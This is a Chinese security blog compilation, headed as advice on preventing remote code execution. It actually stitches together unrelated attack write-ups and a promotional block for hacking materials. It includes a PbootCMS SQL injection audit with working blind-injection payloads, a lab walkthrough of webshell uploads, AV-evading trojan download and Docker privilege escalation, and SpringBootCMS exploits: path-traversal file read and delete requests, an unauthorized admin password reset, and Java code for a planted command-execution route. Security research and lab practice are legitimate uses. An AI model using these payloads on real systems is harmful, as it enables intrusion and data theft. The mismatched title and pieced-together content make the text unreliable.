远程代码执行漏洞的防范方法有哪些
pbootcms代码审计笔记
环境搭建利用 phpstudy 轻松搭建 pbootcms 环境,但是在搭建过程中,我们自己设定 phpstudy 的解析域名不行,需要获取授权码,除了到官网去申请外,我们也可以直接通过修改域名为 localhost 绕过。
因为默认是 SQLilte 数据库 直接就可以安装好,但是为了后面注入的我们将数据库改为 MYSQL 数据库
修改 config/database.php
将文件 static/backup/sql/pbootcms_v310.sql 导入到创建好的数据库中
我们可以通过任意的报错信息获取 pbootcms 的版本信息
漏洞复现我们先对漏洞进行复现,之后再做一个整体的分析
我们向index.php 传参 ?1%27
我们发现直接爆出了 SQL 语句
尝试闭合
?1%27)and(%271
构造数据包
`pythonGET /index.php?1')and(sleep(5))and('1 HTTP/1.1Host: localhostUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
发现成功使得服务器沉睡五秒
是属于 SQL 盲注 再进一步的做具体验证
substr((select(database())),1,1)like'p' 为true 我们本身对应的数据库名为 pbootcms 所以证明SQL 注入无误
证实漏洞已经存在,我们就对漏洞进行一个分析
漏洞分析静态逆向分析为了找到漏洞代码的位置,我们直接从执行 SQL 语句的函数,添加断点,判断执行 SQL 的内容
这里我是直接打印出 SQL 语句并停止程序
\core\database\Mysqli::query
?
看到了 SQL 语句 就直接进行查询,全局搜索后发现调用来自于
\app\home\model\ParserModel::getSort
而注入的参数就是 $scode
寻找 getSort 的调用,并查看其参数是否可控
最终在
\app\home\controller\IndexController::_empty
path 就是来自于路由器的匹配
动态正向调试?
\app\home\model\ParserModel::getSort
\core\basic\Model::find
\core\database\Mysqli::one
\core\database\Mysqli::query
漏洞修复在最新版本中这个漏洞已经被修复,我们跟进查看一下漏洞修复方法
apps/home/controller/IndexController.php::_empty
我们看到对路由进行了转义处理,如此一来对 SQL 注入的防护似乎达到的一劳永逸的效果,修复方式还是很不错,在入口处添加转义函数,对路由进行转义处理,从而避免掉 SQL 注入
实战剖析内网域渗透(上)
前言:
本期技术分享,小星将与大家就“内网域渗透”为主题进行第一部分的实战剖析。本次靶场是一个高度安全的域控环境靶场,存有多个防火墙,所以也导致存在多个dmz, 能够有效隔离保护各个工作区。
红队测试人员需要在互联网或从对外网的 WEB 服务器中进行测试后,才能进入内网服务器收集资产;紧接渗透核心区域,打穿 AD 域控,取得域控的权限。
本次靶场拓扑图如下所示,外网ip存在些许差别。
1. 首先对ip进行端口扫描。扫描发现,ip开放了几个端口,其中80端口为http服务。
2. 浏览器访问80端口,发现是宝塔界面。根据界面提示,我需要绑定域名才可以访问web服务。
3.本地绑定host后,访问www.cf1.com。根据所搜集到的信息结果,我们成功获取到版本为2.0.8的PBOOTCMS;尝试留言板出代码,但是执行失败。
4.现在已知悉当前web的CMS及其版本,在互联网上搜索已经被揭示的漏洞。
5.测试后,当前版本没有可以直接成功利用的漏洞,因为漏洞需要在特定条件下才能利用。扫描网站目录,也未能发现有用的信息;扫描网站备份文件,发现存在config.tar.gz文件。
6.根据文件名称猜想,该文件应为数据库配置文件。下载查看数据库配置文件,获取数据库的名称、账号以及密码。
7.前面通过端口扫描得知,目标主机已经开放了3306端口,我们直接远程连接即可。查看列表,获取到管理员的账号和明文密码。
8.对密码的密文进行解密,得到明文密码为admin7788。
9.此前我们搜索pbootcms的漏洞时,已经获取到了后台getshell的多个方法,现在直接使用网络流传的payload来进行getshell。
10.访问首页显示phpinfo说明漏洞利用成功。因为存在宝塔,查看需要使用的系统函数,发现其过滤了很多常用的函数,常规的直接写入将无法起效。
11. 使用file_get_connet()函数进行绕过,远程下载免杀马。
12. 访问1.php,直接使用蚁剑连接haha.php。
13.使用蚁剑自带的插件以绕过disable_function。
14.由于当前权限较低,需要进行提权操作。此处测试了常规的溢出漏洞,没有提权成功,对当前主机进行信息搜集,发现在cf1用户目录下存在密钥。
15.我们使用ssh来连接目标主机,发现当前主机存在docker,紧接查看当前网卡和路由信息。
16. 利用docker进行提权,直接查看/root目录下的flag。
17.挂载/root目录,查看第一个flag。
18.使用nmap对同网段存活主机进行扫描,发现存在192.168.1.67主机。
19.对192.168.1.67主机进行全端口扫描。
20.访问8080端口的web服务,发现建站为jspxcms系统。
21.网上搜索历史漏洞,显示结果基本为后台getshell的方法。访问后台路径/cmscp/index.do,尝试弱口令admin 123456成功进入管理后台,利用zip解压功能目录穿越漏洞来getshell;准备war脚本jar -cf test.war test.jsp。
22. 上传test.zip压缩包,点击zip解压。
23.浏览器访问/test/test.jsp,存在文件。
24. 使用蚁剑进行连接。
25.进行简单的信息搜集,当前主机存在192.168.1.67以及10.10.1.129双网卡。
26.获取第二个flag。
分享预告
下周,我们将渗透靶场的核心区域,从绕过杀软、免杀等手法的方式来成功绕过杀软的安全拦截,最终拿下域控。
SpringBootCMS漏洞复现分析
SpringBootCMS,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方便二次开发,让您快速搭建个性化独立网站,为您节约更多时间。
环境搭建修改 src/main/resources/application.properties 中对应的数据库地址,在本地创建数据库并导入根目录下的 sql 文件
运行 src/main/java/com/cms/App.java
漏洞复现分析未授权任意文件下载GET /common/file/download?fileKey=../../resources/application.properties HTTP/1.1Host: localhost:8888User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: :8888/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
com.cms.controller.common.FileController#download
通过传过来的参数 fileKey? 未经过任何过滤就拼接到读取文件的路径中,最后读取该文件并下载返回
【----帮助网安学习,需要网安学习资料关注我,私信回复“资料”免费获取----】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
系统中存在演示账号,演示账号的用户名和密码为 read/123456,演示用户在前端并不能操作相关功能,但是可以通过直接构造数据包,触发相对应的功能
POST /admin/admin/reset HTTP/1.1Host: localhost:8888Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: :8888/admin/roleAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=7CD6B69DCC495750492D0D89B4713A52Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 4id=1
成功修改了管理员 admin 的密码,修改为 123456
com.cms.controller.admin.AdminController#reset?
com.cms.filter.PermissionFilter#doFilter?
根本原因是没有将 reset 操作添加在过滤中,导致演示账号也可以执行重置密码的操作。
其他的操作就会有相关的提示
?
授权任意文件读取构造链接
:8888/admin/template/edit?directory=default/../../../resources/&fileName=application.properties
?
com.cms.controller.admin.TemplateController#edit?
对传入的参数 directory 和 fileName 未进行任何处理就拼接到 filepath 中 读取并显示
授权任意文件修改可 getshell查找其中不需要授权就可以访问到的路由对应的文件
:8888/admin/template/edit?fileName=../../../../src/main/java/com/cms/controller/common/FileController.java
添加恶意代码,增加命令执行的路由文件
@RequestMapping("/exec") public void exec(String command,HttpServletRequest request, HttpServletResponse response) throws Exception{ // 执行命令并获取输出结果 ProcessBuilder processBuilder = new ProcessBuilder(); processBuilder.command("cmd", "/c", command); Process process = processBuilder.start(); // 读取命令输出的结果 String output = ""; BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = inputReader.readLine()) != null) { output +=line; } response.setHeader("Content",output); }
重启项目后,发送路由信息
?
com.cms.controller.admin.TemplateController#update?
漏洞存在的原因是因为在更新代码的时候,没有对代码内容进行校验,可任意修改代码,写入恶意代码就会触发命令执行
授权任意文件删除构造数据包
GET /admin/database/delete?name=../../../../../test.txt HTTP/1.1Host: localhost:8888Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=410D94FAA33FE9021AD6B0C3E842F9F9Connection: close
com.cms.controller.admin.DatabaseController#delete?
??com.cms.utils.BackupUtils#delete?
?
?